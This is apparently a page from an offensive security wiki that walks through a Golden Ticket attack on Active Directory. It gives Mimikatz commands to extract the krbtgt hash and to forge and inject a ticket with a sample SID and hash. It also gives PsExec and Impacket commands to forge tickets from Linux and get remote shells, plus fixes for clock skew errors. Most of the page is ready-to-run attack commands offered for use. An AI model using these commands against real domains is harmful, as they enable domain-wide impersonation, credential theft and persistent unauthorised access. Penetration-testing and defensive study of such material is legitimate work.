> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/post-exploit/active-directory/golden-ticket-with-krbtgt.md). # Golden Ticket with krbtgt Requirement: * Env -> domain controller * This attack assumes a Domain Controller compromise where `KRBTGT` account hash will be extracted which is a requirement for a successful Golden Ticket attack. {% hint style="info" %} A **Golden Ticket** attack consist on the **creation of a legitimate Ticket Granting Ticket (TGT) impersonating any user** through the use of the **NTLM hash of the Active Directory (AD) krbtgt account**. This technique is particularly advantageous because it **enables access to any service or machine** within the domain as the impersonated user. It's crucial to remember that the **krbtgt account's credentials are never automatically updated**. To **acquire the NTLM hash** of the krbtgt account, various methods can be employed. It can be extracted from the **Local Security Authority Subsystem Service (LSASS) process** or the **NT Directory Services (NTDS.dit) file** located on any Domain Controller (DC) within the domain. Furthermore, **executing a DCsync attack** is another strategy to obtain this NTLM hash, which can be performed using tools such as the **lsadump::dcsync module** in Mimikatz or the **secretsdump.py script** by Impacket. It's important to underscore that to undertake these operations, **domain admin privileges or a similar level of access is typically required**. {% endhint %} Sample extract krbtgt's account hash: ``` mimikatz # lsadump::lsa /inject /name:krbtgt ```

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#execution

## Golden Ticket Attack from Windows Inject golden ticket to memory: ``` mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt ```

check the ticket with `klist` **Once** you have the **golden Ticket injected**, you can access the shared files **(C$)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell (looks like yo can not get a shell via winrm). switching back to the console the attacker used to create the golden ticket (local admin) and again attempting to access `c$` share of the domain controller - this time is a success:

or Execute a cmd in the remote machine with PsExec: ``` .\PsExec.exe -accepteula \\ cmd ``` reference: \ ## Golden Ticket Attack from Linux Requirement: * krbtgt hash

* Domain SID ``` #powerview Get-ADDomain ```

``` #impacket # generate the TGT with NTLM impacket-ticketer -nthash -domain-sid -domain NewAdmin # generate the TGT with AES key impacket-ticketer -aesKey -domain-sid -domain NewAdmin # export ticket for impacket use export KRB5CCNAME= # execute remote command with any of the folowing by using TGT impacket-psexec /@ -k -no-pass impacket-smbexec /@ -k -no-pass impacket-wmiexec /@ -k -no-pass ``` {% hint style="info" %} Don't forget to use hostname instead of IP address of the remote server {% endhint %} {% hint style="info" %} "Kerberos SessionError: KRB\_AP\_ERR\_SKEW(Clock skew too great)" it's mean there is mismatch datetime between kali linux and the remote machine, because authenticating using TGT is using time also. \ Solve with this: `sudo ntpdate $IP` {% endhint %} ## Convert TGT Windows and Linux Format To convert tickets between Linux/Windows format with [ticket\_converter.py](https://github.com/Zer1t0/ticket_converter): ``` python ticket_converter.py ticket.kirbi ticket.ccache python ticket_converter.py ticket.ccache ticket.kirbi ```